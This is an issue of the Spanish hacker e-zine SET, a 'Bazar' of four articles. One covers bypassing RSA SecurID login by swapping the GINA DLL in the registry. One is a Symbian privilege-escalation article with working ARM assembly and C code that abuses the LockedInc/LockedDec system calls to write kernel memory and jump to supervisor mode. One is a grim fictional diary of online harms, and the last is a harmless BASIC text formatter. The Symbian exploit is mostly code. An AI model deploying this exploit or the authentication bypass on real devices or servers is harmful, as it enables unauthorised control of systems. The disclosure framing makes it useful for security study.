Copy Link
Add to Bookmark
Report
SET 034 0x03
-[ 0x03 ]--------------------------------------------------------------------
-[ Bazar de SET ]------------------------------------------------------------
-[ by Others ]-------------------------------------------------------SET-34--
Indice
3x01 RSA Security Hacking Anonimo
3x02 Escalando permisos en Symbian Moviles FCA00000
3x03 Diario de Internet Sociedad HackMan
3x04 Utilidad de formateo Software elotro
-[ 3x01 ]--------------------------------------------------------------------
-[ RSA Security ]------------------------------------------------------------
-[ by Anonimo ]--------------------------------------------------------------
RSA Security
Para quienes trabajen en una empresa que se preocupe (y pueda pagar) su
seguridad seguro que conoceran los Tokens RSA y su correspondiente algoritmo
RSA.
En los ultimos días se ha hablado sobre agujeros y que han logrado romper ese
algoritmo pero dicha tecnología sigue funcionando, y mucho, en las empresas.
Aquí no os voy ha hablar sobre dicho algoritmo pero si sobre como funciona y
algun truco para quienes lo tengan que administrar.
¿Como funciona los RSA?
RSA es una combinacion de hardware con software cliente-servidor.
El software se instala en los pc's clientes de aquellos usuarios que el
administrador considere oportuno que necesitan de dicho producto en tanto
que otra parte va en los servidores, preferentemente en aquellos que son DC
(Domain Controller).
Cuando un usuario trata de logarse en su SO el proceso es asi:
- Se enciende la máquina y cuando aparece la pantalla de loggeo se introducen
unas cifras fijas (que el usuario ha preconfigurado la primera vez que uso
el RSA) siempre numericas y que pueden ser de un maximo de 8 digitos, estas
no varian de no ser que lo reconfiguren, y detras de dichas cifras se
introducen las otras 6 cifras que aparecen en el hardware (token) RSA.
- El cliente manda dicho codigo cifrado a traves del programa cliente contra
el/los servidores configurados y con el certificado que los acredita para
logar.
- El servidor crea su codigo RSA y le antepone el codigo fijo, si ambos
coinciden manda un aprobado al sistema y el usuario entra a trabajar en su
sesion con total normalidad.
Como veis el proceso es transparente para el usuario, el introduce su clave
y como esta va por encima de la de windows para el, no hay mas problema que
no olvidarse del token.
El RSA se combina perfectamente con el Active directory, de hecho se ha de
crear en el un grupo para tal fin (normalmente RSA Users) y con los usuarios que
haya dentro de dicho grupo del AC a los que se les solicitará el loggeo con el
RSA.
Por lo tanto cualquiera que puede acceder al AC puede deshabilitar el entrar
con RSA a la maquina, puede restaurar la pass de windows que desee sin tener
siquiera que saber la antigua (esta es una de las utilidades del AC).
- RSA no me deja entrar en mi servidor.
Este es un problema que se le planteo hace poco a un amigo mio, un dia
administrando un servidor el RSA no reconocía la cuenta de Administrador.
RSA deja la cuenta de Administrador como una cuenta aparte por lo que no
cambia nada de su configuración y lo deja como un usuario fuera de su rango.
De ese modo asegura que asi siempre puedas tener accedo a cualquier maquina
dentro de un dominio con esa cuenta si la de usuario se bloquea o pasa
cualquier error.
El problema comienza si tu incluyes al administrador, durante la instalacion,
dentro de los usuarios a restringir puede que el resultado (y muy
problablemente sera) que no puedes entrar con tu cuenta de Administrador y el
error es que ¡¡No existe dicha cuenta¡¡¡ Entonces empiezan lo problemas para
unos (y lo que puede ser una leccion complicada de hacking para otros).
Mi primera recomendacion es que no fuerzes a la maquina a entrar, no te va a
servir de nada intentalo y veras prueba: usuarios del grupo de amdinistradores,
administrador, usuarios normales. En cualquier caso no te dejaria loggar en el
servidor.
La buena noticia es que el servidor seguira dando todos los servicios mientras
este encendido y que desde otro servidor podrias acceder al AD mediante su
panel, la mala noticia es que no puedes entrar "fisicamente" en la maquina
porque ninguna cuanta te va a pasar, ninguna existe.
La solución es desinstalar el RSA pero este es un programa que se maneja en
red, por lo tanto solo se puede desinstalar entrando en algun modo en red y
claro, para entrar en red tienes que logarte en red.
La unica solucion que nos queda en entrar en la maquina en modo a prueba de
fallos sin la red instalada, primer problema: De nuevo te dará error de login.
Primera solucion: Arranca de nuevo tu pc y entra con el LKG (Ultima
configuracion buena conocida). Prueba ahora con el modo a prueba de fallos sin
red y mete tu pass de toda la vida de Administrador ¡¡Ahh!! Puedes entrar :)
Bien ya estamos dentro de la maquina, cualquiera puede llegar a este punto
pero ahora ¿como conseguimos borrar el dichoso RSA? eso es mas complicado ya
que al estar integrado en red, necesita de la misma para desinstalarse y claro
cuando vayas a quitarlo te dira que el instalador de Windows no esta arrancado,
mentira cochina, prueba con cualquier otro programa y veras como si arranca.
Tenemos que ir al registro para substituir un archivo de arranque y que asi
ahora que gracias a la LKG hemos devuelto a la vida a nuestra pass de
Administrador podamos entrar con ella saltandonos el proceso del RSA.
Entremos en nuestro registro de windows y busca el archivo gina.dll ¿que es
esto? muy sencillo: la interface que Windows utiliza cuando logas, el cuadro
donde metes el pass y el user esta dentro de una libreria en
c:/winnt/system32/msgina.dll
Y el RSA lo ha redireccionado a una dll llamada gina.dll a secas dentro de
su propio directorio (de ahi que ahora la ventana de logeo tenga ese dibujo del
RSA y no la ventanita y el simbolo de Windows), pues nada ahora redireccionamos
a la direccion de windows. Reiniciamos y entramos en el modo normal y tachan¡¡¡ ya estas
dentro de tu servidor de nuevo como administrador.
Seguro que tu primera reaccion sera borrar el dichoso sistema de RSA, yo de ti
tambien lo haria, lo reinstalaria pero la siguiente vez preserva tu cuenta
de admin.
RSA es un potente software de seguridad, pero son cosas asi las que pueden
provocar a mentes malintencionadas.
En los clientes preserva las cuentas locales, haciendola accesibles totalmente
y habria que ver que se puede hacer por ahi sustituyendo ese mismo archivo,
seguro que si lo probais podriais entrar en el dominio como usuario saltandoos
el RSA, pero eso ya es para otro dia.
-[ 3x02 ]--------------------------------------------------------------------
-[ Escalando permisos en Symbian ]-------------------------------------------
-[ by FCA00000 ]-------------------------------------------------------------
Escalado de permisos en teléfonos Symbian
Este es un artículo que escribí originalmente en inglés. Ahora ofrezco su
versión en castellano para deleite de todos los lectores de SET.
El texto es corto, y bastante técnico.
Symbian es un sistema operativo usado en muchos teléfonos móviles, incluyendo
los nuevos modelos de Nokia y el Siemens-SX1.
En Symbian, los programas normalmente se ejecutan en modo de usuario. Esto veta
el acceso a las funcionalidades más críticas.
Para acceder a servicios protegidos, necesitar saltar a modo de kernel, que
tiene poder ilimitado.
Por supuesto el kernel no permite que el programa de usuario haga lo que le de
la gana: primero hay que pedir permiso.
En particular, los programas en modo usuario no deben alterar otros procesos o
acceder al sistema privado de ficheros.
Hasta ahora :-)
He descubierto una debilidad en la función ExecHandler::LockedInc.
Normalmente se usa para incrementar una variable perteneciente al proceso que
ejecuta esta instrucción.
El código desensamblado es:
LDR R3, [R0] // carga R3 con el valor en la dirección R0
MOV R2, R3 // lo copia en R2
ADD R3, R3, #1 // incrementa
STR R3, [R0] // lo pone otra vez
MOV R0, R2 // devuelve cual es el valor previo
RET // sale
Esta rutina se invoca con
User::LockedInc(TInt& aValue);
que está en la librería euser.dll . El código simplemente hace SWI 0x8D
(Para una explicación detallada, ver "Crossing the Userland" by John Pagonis)
Un ejemplo típico es en programas multi-thread, para sincronizarlas:
TInt estoyOcupado = 1;
Boolean estoyEsperando() {
if(estoyOcupado >0) return true;
return false;
}
thread1:
while(estoyEsperando() ) { true };
User::LockedInc(estoyOcupado);
De esta manera se evitan race-conditions.
Mencionar que sólo se usa en 1 programa, en MIDPINSTALLER.DLL
Pero debido al modo en que se le invoca, permite elegir cualquier valor de la
memoria, incluso la que pertenece al kernel.
Lo único que necesitamos es apuntar R0 al sitio correcto:
TInt addr=0x80400000;
asm ("MOV r0, %0" : : "r"(addr) : "r0"); // inicializa R0
asm ("MOV LR, PC" ); // cuando acabe, vuelve aquí mismo
asm ("SWI 0x8D"); // simula User::LockedInc(int &)
asm ("nop"); // pierde un poco de tiempo
asm ("STR r0, %0" : "=m"(addr) ); // muestra el valor nuevo
Esto incrementa el valor contenido en la dirección 0x80400000 .
Si intento hacer directamente
*0x80400000 ++;
esto falla poque no tengo permisos.
El único problema es que también incrementa el contenido de la memoria, pero
con otro SWI 0x8E es decir User::LockedDec , la podemos decrementar.
Por supuesto no toda la memoria se puede leer/escribir.
Aquí van algunas direcciones interesantes:
La ROM empieza en 0x50000000 y se puede leer pero no escribir.
Las direcciones 0x00000000 - 0x3FFFFFFF no existen
A partir de 0x40000000 hay 8K de datos compartidos estáticos
Los datos del kernel llamados EKern::SvDat están en 0x80000000
La pila del kernel llamada EKern::SvStack se encuentra en 0x80400000
Tras escribir en EKern::SvDat es entonces trivial saltar en modo supervisor
a una rutina todopoderosa que haces tú mismo.
Por ejemplo, cuando el procesador está desocupado, el kernel llama a NullTread
que aterriza en
ImpHal::Init5
la cual en un Nokia N70, hace
LDR R3, =0x8000047C
LDR R0, [R3]
LDR R3, [R0]
MOV LR, PC
LDR PC, [R3,#0x18]
es decir: llama a *((*(*0x8000047C))+0x18)
Por tanto puedo escribir:
en la dirección 0x8000047C, el valor 0x80000480 para iniciar R0
en la dirección 0x80000480, el valor 0x80000484 para iniciar R3
en la dirección 0x80000484+0x18, el valor 0x80000500 para iniciar PC
en 0x80000500 , una rutina todopoderosa .
En otras palabras:
LDR R3, =0x8000047C -> R3=0x8000047C
LDR R0, [R3] -> R0=0x80000480
LDR R3, [R0] -> R3=0x80000484
MOV LR, PC
LDR PC, [R3,#0x18] -> PC=0x80000500
-> la siguiente instrucción se ejecutará a
partir de 0x80000500
Usaré algo así:
TInt IncMem(TInt addr)
{
TInt value;
asm ("MOV r0, %0" : : "r"(addr) : "r0");
asm ("MOV LR, PC" );
asm ("SWI 0x8D");
asm ("nop");
asm ("STR r0, %0" : "=m"(value) );
return value;
}
TInt DecMem(TInt addr)
{
TInt value;
asm ("MOV r0, %0" : : "r"(addr) : "r0");
asm ("MOV LR, PC" );
asm ("SWI 0x8E");
asm ("nop");
asm ("STR r0, %0" : "=m"(value) );
return value;
}
void WriteMem(TInt addr, TInt value)
{
TInt currValue;
currValue = IncMem(addr);
DecMem(addr);
for(TInt i=currValue; i<value; i++)
IncMem(addr);
}
main() // reemplazar con HandleCommandL o similar
{
TInt addr, value;
addr=0x80000500; value=0xE1A0F00E /* código de RET */ ; WiteMem(addr, value);
addr=0x80000484+0x18; value=0x80000500; WiteMem(addr, value);
addr=0x80000480; value=0x80000484; WiteMem(addr, value);
addr=0x8000047C; value=0x80000480; WiteMem(addr, value);
// espera hasta que el procesador está ocioso
}
!Y con esto se consigue saltar a la dirección 0x80000500 en modo supervisor!
Puedes usar el compilador GCC o Keil para elaborar una rutina más útil, por
ejemplo para incrementar los permisos de tu propia Thread.
Entonces, podrías evitar el sistema de permisos y leer cualquier archivo del
sistema, o interactuar directamente con la red.
Hay varios inconvenientes:
-Primero, sólo es posible incrementar el valor. Para establecer un valor
cualquiera, necesitas incrementarlo hasta que lo alcances.
Así, si el valor actual es 0x12345678 y quieres tener 0x22222221, entonces
necesitas 0x0FEDCBA9 operaciones
Esto cuesta bastante tiempo, incluso si optimizas el código
-Segundo, no puedes leer un valor sin modificarlo. Esto significa que algunas
variables críticas del kernel no se pueden cambiar porque cualquier cambio
mínimo hace que el sistema se resetea.
-Tercero, Symbian usa punteros a punteros a punteros. Esto hace que sea difícil
analizar los datos que están en memoria.
-Por útlimo, cada modelo es diferente. Las direcciones de las variables del
kernel dependen de la versión del kernel. Incluso versiones distintas del
firmware también usan direcciones distintas.
Según yo lo entiendo, este error es grave porque cualquier programa puede subir
sus permisos y hacer todo tipo de guarrerías, incluso inutilizar el móvil o la
tarjeta SIM.
Puesto en contacto con Symbian y Nokia, han confirmado el error y dicen que lo
van a arreglar en su siguiente versión del Sistema Operativo.
Gracias a Eric Bustarret por toda la información en www.newlc.com
A Vovan888 y SERRGE en www.oslik.ru por sus geniales ideas.
A Jane Sales et Al. por escribir el libro Symbian OS Internals
A Siemens, por hacer un teléfono realmente abierto.
A Symbian, por su magnífico diseño. Incluso si contiene algún fallo, su Sistema
Operativo está muy bien hecho.
Cuidado con lo que instalas en tu móvil. Puedes recibir sorpresas desagradables.
-[ 3x03 ]--------------------------------------------------------------------
-[ Diario de Internet ]------------------------------------------------------
-[ by HackMan ]--------------------------------------------------------------
Diario de Internet - HackMan
A aquellos que lo han utilizado para el bien de la sociedad.
De una forma desconocida y que nadie llegara a averiguar nunca, se me ha
permitido ser Internet por un mes. Ahora mismo no estoy vivo, no espereis
encontrarme. Lo que he visto a lo largo de este mes, ha sido el causante de mi
muerte. No tengo ni la mas infima idea de hasta donde podemos llegar.
Por suerte, yo ya no estare. Internet si.
Dia 1:
Hoy he llegado hasta el lugar mas recondito de toda africa. Si, he llegado,
en este lugar todavia se muere gente de hambre, solo existe la miseria, por
ningun lado se encuentran medicamentos para las enfermedades mas graves, etc...
pero he llegado.
Dia 2:
Un menor de edad ha accedido a mi, no he sabido mas que entregarle unas
cuantas imagenes e historias de violencia. Al fin de al cabo no son mas que
historias. Eso creia yo, que no comprendo nada.
Dia 3:
Otro menor me ha visitado y le he enviado, tan rapido como me ha sido
posible, unas cuantas paginas sobre pornografia.
El ninyo que ayer solicitaba mi informacion, ha matado hoy a sus padres
rajandoles el cuello mientras dormian.
Dia 4:
He conseguido conectar a todo el mundo a traves de mi conocido "Chat". El
99% de la informacion que pasa por mis circuitos no son mas que mentiras.
El otro 1% todavia sigo buscandolo.
Dia 5:
El padre del chiquillo del dia 3, le ha pillado las fotos a su hijo. Le
han gustado tanto que le ha puesto los cuernos a su mujer en un club nocturno.
Creo que lo de destrozar familias no era mi objetivo.
Dia 6:
Gracias a mi estupendo "Chat", con el que todos se comunican, la gente ya
casi no se habla en la calle y las relaciones personales se limitan a un
microfono y una pequenya camara web.
Nota: Las lineas telefonicas estan encantadas con el favor que les estoy
haciendo.
Dia 7:
Quise ensenyar a una joven lo que significa el concepto "Anarquia", pero lo
ha entendido a su manera.
En la tarde del mismo dia, la chica ha intentado crear su primera bomba a
base de cristales de iodo.
Dia 8:
Mi tio ha entrado en una pagina de apuestas. Lo que empezo siendo solo un
juego, ahora esta acabando con todos sus ahorros. Cada vez le caigo mejor a los
ludopatas.
Nota: Las empresas duenyas de las maquinas tragaperras estan enfadadas
conmigo, les ha salido un nuevo competidor.
Dia 9:
Mi informacion es infinita, un pobre iluso a encontrado algo relacionado con
"hackers", no ha entendido lo que significa y se esta divirtiendo destrozando
paginas web de sectores muy importantes. Tendria que haberle dicho antes de
nada que hacer eso es delito pero, que importa, que hubiera buscado mejor.
Dia 10:
Hoy el trafico de correo electronico esta congestionado, los partidos
politicos utilizan este medio para enviarse informacion oculta haciendo uso de
la esteganografia.
Dia 11:
¨Armas? Yo se todo lo que hay que saber. Este dia sera recordado como el dia
en que nacio un nuevo francotirador.
Dia 12:
Un espabilado ha interceptado las comunicaciones del dia 10 y ahora conoce
los futuros planes de un partido del que, al parecer, no es muy amigo. El bulo
se ha corrido y todo el mundo sabe lo que pasa. Adios partido politico.
Dia 13:
Vaya! Algo me ha salido mal. Por culpa de mis paginas de pornografia un
pequenyajo no deja de masturbarse. Sus padres lo han tenido que llevar a un
psicologo. Sus amigos se han enterado. Por cierto, ahora ya no son sus amigos.
Dia 14:
Hoy me ha dado por andar traspasando unos cuantos virus aqui y alla, algunas
multinacionales han tenido perdidas econocimas bastante considerables. Bueno,
esto suele pasar de vez en cuando, ¨no?
Dia 15:
Un hombre ha sido enviado a la carcel. No por cometer ningun homicidio sino
por que lo han pillado traficando con pornografia infantil. Gracias a mi, en
las comisarias ya casi no quedan celdas libres.
Dia 16:
En este gran dia he ayudado a mejorar el trafico de drogas. ¨Que mas he
hecho? ¨Acaso parece poco? Puede que tu hijo este metido en un mundo del que
jamas vuelva a salir.
No te preocupes mucho, dentro de poco creare asociaciones virtuales de ayuda
contra la droga. ¨Crees que tu hijo se recuperara pulsando algunas teclas?
Dia 17:
El que, antes de meterme en este fregado, era mi hijo, ahora sabe lo que es
la zoofilia, teniamos un perro en casa y ha experimentado. Todo se lo ha
ensenyado su padre, un aplauso para mi.
Dia 18:
Es un buen dia para mandar "Spam", vamos a llenar de basura unos cuantos
millones de buzones de e-mail. Seguro que la gente no se entera de los mensajes
subliminales que les envio entre tanta publicidad.
Dia 19:
¨Quien habla de pirateria? Yo tengo tanto como podais imaginar. Hoy he
aumentado un poquito mas el fracaso de un artista. He repartido unas 1749
copias si mal no recuerdo.
Dia 20:
Ultimamente no me preocupo mucho de mi seguridad. Por esta razon un joven al
que le he proporcionado informacion durante un par de dias, ha entrado en la
NASA y ha hecho cambiar de rumbo a un pequenyo satelite. No se sabe hacia donde
se dirige pero, seguro que se encuentra bien...
Dia 21:
Hoy era el dia del libro pero, gracias a todo lo que he aportado, ya nadie
se acuerda de lo que eso significa.
Nota: Los oculistas me han dado las gracias por la enorme cantidad de
pacientes que le he proporcionado.
Dia 22:
Le he dado a un chico soltero algunos videos sobre unos jovenes haciendo
locuras. Hoy le ha dado por tirarse por las calles metido en un contenedor de
basura, se hace cortes en el cuerpo y se bebe su propia orina para el regocijo
del publico presente.
Dia 23:
Un grupo de gente ha creado una pagina que prentede aparentar una ONG. Ya
hay gente que ha empezado a aportar dinero. Estos desgraciados se han quedado
lo que, supuestamente, tenia como destinatario un pais tercermundista.
Dia 24:
La hija de mi antiguo vecino se ha escapado de casa esta manyana. Una treta
de un hombre que dialogaba con ella a traves de mi, ha hecho que se produzca
una terrible tragedia de la que no me gustaria hablar.
Dia 25:
Un motorista ha muerto en la carretera. Llevaba comida encargada por
ordenador a una mujer a la que no le apetecia cocinar. Ultimamente las calles
estan deshabitadas, solo las vias estan pobladas con transportes que llevan
pedidos de un lado para otro. Una ayudita al deterioro de la capa de ozono no
le viene mal. A mi no me importa, llevo casi un mes sin salir a pasear...
Dia 26:
Tengo un deposito de articulos sobre trabajos hechos para clases. Los
jovenes ya no se molestan en leer ningun tipo de libro. Con el minimo esfuerzo,
hoy he creado un nuevo lema: "Que trabajen otros!". Cuanto me satisface
ensenyar buenas costumbres.
Dia 27:
Hoy no me ha dado por asegurar mis protocolos y he violado la intimidad de
un individuo. Para que mentir, los datos de las tarjetas de credito de medio
pais, esta en manos de unos desconocidos. A lo mejor son buenos chicos.
Dia 28:
Las puertas de colegios, institutos e universidades se estan cerrando. Poseo
un nuevo programa que se esta descargando todo el planeta. Su funcion es dar
clases a todos los niveles a traves de una pantalla. Se acabaron los problemas,
adios a la convivencia.
Personas cultas, sin educacion y sin esfuerzo. ¨Por que no?
Dia 29:
Un ninyo inocente se ha conectado, sin querer, con un numero de pago. Cuando
sus padres recojan la pertinente factura del buzon, a buen seguro no tendran ni
con que pagar la luz de casa.
Nota: Telefonica no cesa de agradecerme los esfuerzos que hago por ellos.
Dia 30:
He llegado a mi ultimo dia, me encuentro bastante cansado pero no puedo
dejar de trabajar. Seguro que encuentro a alguien a quien le pueda ser de
utilidad.
Ha sido un dia desgraciado para una ninyita de tan solo once anyos de edad.
La pobre ha visitado una pagina web que, con solo aportarle una pequenya
cantidad de datos, te dice como y cuando se va a producir tu muerte.
No le ha gustado el triste final de su vida que, segun el informe impreso en
pantalla, se produciria en unos dias. Se ha suicidado. Quiza esa eleccion le
hubiese parecido mejor. ¨Que le habra parecido a sus padres?
Y hasta aqui mis hazanyas. No he podido evitar morirme. De todas maneras, no
se si durante un mes habre podido causar algun danyo a la sociedad, eso es muy
poco tiempo. Mi suenyo seria regresar algun dia y comprobar si algo ha cambiado.
Entre tanto, me despido. Un saludo.
*EOF*
-[ 3x04 ]--------------------------------------------------------------------
-[ Utilidad de formateo ]----------------------------------------------------
-[ by elotro ] -------------------------------------------------------------
_____ _ __
/' ____| /' `\ /' |
| |____ ___ _ _ _ | _ | /_/| |
\____ \ /'___| /'_`\ /' \_/ `\ | |_| | | |
____| | | |___ | |_| | | |\_/| | | | _ | |
/______/' \____| \___/ |__| |__| \___/ |_| |_/
Recuerda aquellos dias cuando los hombres eran hombres y escribian
sus propios articulos, y lo hacian respetando las sagradas 80 columnas ?
Alguna vez tuvo que escribir su propio editor de texto para no tener
que estar machacando la tecla enter a cada linea ?
Cansado de que su editor ajuste el texto automaticamente ?
Entonces este programa puede ser para usted ...
Usted ha recibido una copia (legal o no, no me importa) de Scom 0.1, un
pequenyo programa que le servira para escribir articulos en formato ASCII,
(bah, en cualquier formato, pero despues no va a servir) y ajustarlos
al numero de columnas que usted desee (casi).
Aja, y como se usa esta webada?
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
Copie (o extraiga, no se) los archivos scom.exe y leer.txt a donde se le
cante.
Ejecute (desde una shell de DOS, obvio), el archivo scom.exe :
C:\ELOTRO>scom
Scom 0.1 - by elotro, 2006
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Uso: scom -l<numero de columnas> [ruta de acceo]<archivo a formatear>
Numero de columnas : 78 a 80 (Ej. para 78 columnas : scom -l78 archivo
Errores o sugerencias ---> elotro.ar@gmail.com
No se ha especificado un numero de columnas.
Aja, pero no pasa nada mas...
Bueno, suponiendo que se ha roto el traste escribiendo o robando cosas de
otras personas, y que esta perfectamente fuera de la regla de las 80
columnas, puede hacer algo como esto...
[ claro, suponiendo que el archivo es lammer.soy ]
C:\ELOTRO>scom -l80 lammer.soy
Scom 0.1 - by elotro, 2006
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Formateando lammer.soy a formato de 80 columnas...
Finiquitado !
Y que es todo eso ?
La opcion -l ( LETRA L para los cortos de vista )
establece el Largo de las filas, o sea la cantidad de columnas.
Lammer.soy, ya dije que era el archivo.
Como ando generoso, aqui tienen el codigo fuente
(bah, no se pa que lo querrian)
------------------------------- Empieza aca ----------------------------------
'Scom 0.1 by elotro (elotro.ar@gmail.com)
'ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
'Declaraciones de Funciones y Variables Compartidas
DECLARE FUNCTION Rinstr% (Inicio%, Cadena$, CadenaPBuscar$)
COMMON SHARED Lin$
COMMON SHARED a%
ON ERROR GOTO Sale '* * * Ver al final esto
Lin$ = COMMAND$ 'Tomamos la linea de comandos, sacamos los
Lin$ = LCASE$(LTRIM$(Lin$)) 'espacios de la izquierda y la pasamos a
'minusculas
a = INSTR(Lin$, "-l") 'Nos fijamos si esta la opcion -l en
IF a > 0 THEN 'la linea de comandos, y si esta, vemos
Num = VAL(MID$(Lin$, a + 2, 2)) 'su valor
'* * * * * * * * * * * * * * * * * * * * * * * *
'Retirar este bloque ir para permitir formateos
'de menos de 78 columnas y mas de 80
'* * * * * * * * * * * * * * * * * * * * * * * *
IF Num < 78 OR Num > 80 THEN
QuePaso$ = "Scom no permite formatear textos a ese numero de columnas. Hagalo usted mismo."
GOTO Sale
END IF
ELSE
QuePaso$ = "No se ha especificado un numero de columnas."
GOTO Sale
END IF
'Vemos si el archivo existe
File$ = LTRIM$(MID$(Lin$, a + 4, LEN(Lin$) - a))
OPEN File$ FOR INPUT AS #1
' Si hasta aca no ha pasado nada, o sea que los args esta bien o yo no me
' he mandadado ningun moco, empezamos a procesar...
Lina = 0
DO WHILE NOT EOF(1)
LINE INPUT #1, Lin$ ' Esto esta al pedo, es solo para
Lina = Lina + 1 ' hacer facha.. :D
LOOP
CLOSE #1
PRINT "Scom 0.1 - by elotro, 2006"
PRINT "ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"
PRINT "Formateando "; File$; " a formato de"; Num; "columnas..."
PRINT "Completado : 0 lineas de"; Lina; "lineas..."
HowMuch = 0
OPEN File$ FOR INPUT AS #1 'Abrimos el archivo de entrada
OPEN "Output.sco" FOR OUTPUT AS #2 'El de salida tambien
DO
LINE INPUT #1, Lin$ 'Leemos desde el archivo
Lin$ = Rlin$ + Lin$ 'Si quedo una RestanteLinea (Rlin$)
Rlin$ = "" 'la agregamos
HowMuch = HowMuch + 1
LOCATE CSRLIN - 1: PRINT "Completado :"; HowMuch; "lineas de"; Lina;
.---- ESTA LINEA VA ARRIBA PERO LA PONGO ACA PORQ SON + DE 80 COLS
`> "lineas..."
IF LEN(Lin$) > Num THEN 'Vemos si la linea > 80 (o lo elegido)
a% = 0 'Bucle mas importante, vemos donde
DO 'existe un espacio antes de las
Donde = Rinstr%(a%, Lin$, " ") '80 (o otras) columnas..
a% = Donde
LOOP UNTIL Donde <= Num
PRINT #2, LEFT$(Lin$, Donde) + " " 'Escribimos en el archivo
Rlin$ = LTRIM$(MID$(Lin$, Donde) + " ") 'Guardamos lo que sobra
ELSE
PRINT #2, Lin$ + " " 'Si no se paso, la escribimos
END IF
LOOP WHILE NOT EOF(1)
PRINT #2, Rlin$ 'Siempre sobra una al final (saquen cuentas)
LOCATE CSRLIN - 1: PRINT SPACE$(160)
LOCATE CSRLIN - 2: PRINT "Finiquitado !"
CLOSE
KILL File$ 'Borramos el original
NAME "Output.sco" AS File$ 'Cambiamos el nombre y restauramos
END
Sale:
PRINT "Scom 0.1 - by elotro, 2006"
PRINT "ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"
PRINT "Uso: scom -l<numero de columnas> [ruta de acceo]<archivo a formatear>"
PRINT "Numero de columnas : 78 a 80 (Ej. para 78 columnas : scom -l78 archivo"
PRINT "Errores o sugerencias ---> elotro.ar@gmail.com"
IF QuePaso$ <> "" THEN
PRINT QuePaso$
END
ELSE
END IF
SELECT CASE ERR
CASE 53
PRINT "ERR 53 : El archivo no se encontro !"
CASE 75 TO 76
PRINT "ERR 76 : La ruta de acceso no se encuentra!"
CASE 71 TO 72
PRINT "ERR 71/72 : El disco no esta listo o esta da¤ado !"
CASE ELSE
PRINT "ERR"; ERR; ": No se que paso !"
END SELECT
END
FUNCTION Rinstr% (Inicio%, Cadena$, CadenaPBuscar$)
'*******************************************************************************
' 'ReverseInstr'
' Retorna la ultima ocurrerncia de una caracter en una cadena
'*******************************************************************************
' Si no existe, retorna 0
IF Cadena$ = "" OR CadenaPBuscar$ = "" THEN
Rinstr% = 0
EXIT FUNCTION
END IF
' Retorna 0 si el inicio esta despues del final o antes del principio
IF Inicio% > LEN(Cadena$) OR Inicio < 0 THEN
Rinstr% = 0
EXIT FUNCTION
END IF
' Trunca si inicio es > 0, si no, usa la cadena original
IF Inicio% > 0 THEN
S$ = LEFT$(Cadena$, Inicio% - 1)
ELSE
S$ = Cadena$
END IF
Last% = 0
' La primera ocurrencia
X% = INSTR(S$, CadenaPBuscar$)
' Va por la cadena, aumentando inicio cada vez que la cadena se encuentra
WHILE X% > 0
Last% = X%
X% = INSTR((Last% + 1), S$, CadenaPBuscar$)
WEND
Rinstr% = Last%
END FUNCTION
------------------------Y me parece que termina aca--------------------------
Pueden observar que solo se puede formatear desde 78 a 80 columnas
(lo hice a proposito), porque en Basic(en este) el tamanyo maximo de las
cadenas es de 32K, y si nos vamos con archivos grandes y pocas columnas,
las cadenas se agrandan muy rapido.
Bugs ( no tanto) que no quiero arreglar
"""""""""""""""""""""""""""""""""""""""
Cuando se llega a la mitad + 1 de las lineas, la performance comienza
a bajar notablemente porque las cadenas se hacen muy grandes.
Cuando las cadenas con muy largas (creo que + de 160 caracteres), se
necesitan hacer 2 pasadas o mas para que el archivo quede correctamente,
ya que el programa no procesa cadenas tan largas. El error siempre se
presenta en la ultima linea.
Pero al final queda bien.
Se puede automatizar con un .bat algo asi :
[no me acuerdo si los argumentos se pasaban asi a los programas dentro
de los bats, si alguien lo quiere corregir, estoy agradecido ]
[se supone que %1 es la opcion -l y %2 es el nombre de archivo]
------------------------------------------------
:a
scom %1 %2
type %2|more
choice /c:sn /n Esta correcto ? (s-n)
if errorlevel 2 goto a
------------------------------------------------
Ojo : Como todo programa en basic, va a andar bastante lento,
pero calculo que un archivo con unas 100 lineas de 80-90 columnas se
procesa en unos 3 segundos, al menos en mi pobre maquina (386SX/16).
Les juro que estos engendros del demonio aun siguen en el mundo, y con
mas fuerza que nunca.
Buena suerte,
elotro
elotro.ar@gmail.com
Nota del editor**************************************************
Los programas estan cifrados con pgp 2.6
Basta hacer pgp -p <Archivo-a-descifrar>
Para obtener los dos programas
Fin nota del editor**********************************************
-----BEGIN PGP MESSAGE-----
Version: 2.6.3ia
owHVWM1yG8cRzpkVPkAqlzZElggZRADaFl00RQcGlxEqIEADoKIqlQ+DxRAYe3cH
mt2lRD1PrnmLPFi+npn9AQjZUUo+ZFUUgNnub/q/e+Zff/7T/I9pqOPjuUjb+PsD
nv29p/SMjj/T3zMHR1PsQp12F4s0fyAZ6cxoOnKfbWH+uoyFitqgarbopNN5Tjuf
499Huh9zSTJ1Qn5P//PjpaMgpTyhVMXrSNLa6KURsaC32AS/xUO+EEaQoDttYpFJ
YUiYcKXudUoyYU7/FNI5Ok0LSXciVBFQwiw3okWhtvRJHktj34c6yuNEpHazdS6x
dC+MwhaVdDLJjKQuvVmzGCD8/id6oG87n6jss8/rCkjH/57SpQwjCBYqncAll5Ku
8sT/eKBXrMw8wve1UVheC3xvM1tfx5rN92Ouwl9+EKkKKdG0EiEbLcoErGNxDUUw
z32B06I3D7TWhu31ICiTyVIznEwFxSISsGia5fEcFvvJci5kXOenlCNnLUN1p0KR
WI+kOYWsQSYNQ4XaGJDoZKFgegmEJLPeivBqoZZIg4PWYUtmYdNZYCLvpQHuIEkz
IFwG/WFvEtDV7ag/G4xHNFH84pCOppkw2WGLppID6KBFQ61/udLmAEBPb9i7a5Fy
eHmW/b3++PoaCNOXALykoUoOttcm0Y5Fcei9M9IUGqlteK3EUnjbyvfrCOqzm1oE
4anSzQZZbA2Xich5C8DBZDKe0N/GszFN4UMLPpQyRg7A6JBBChfPsUgWGp6PnDJM
ADyV5GmYwx/7e6wEvaBhvzcNDo6Gs8ng+uBo4j5Yi97o8qDZdKZ9ZTdIFXtt5QAB
Dmi9ZtnpONrfEwAbjKazyREjt6hxHDXAPbjCvhfUodnLYLS/RzTKY1C+6g2PrgeX
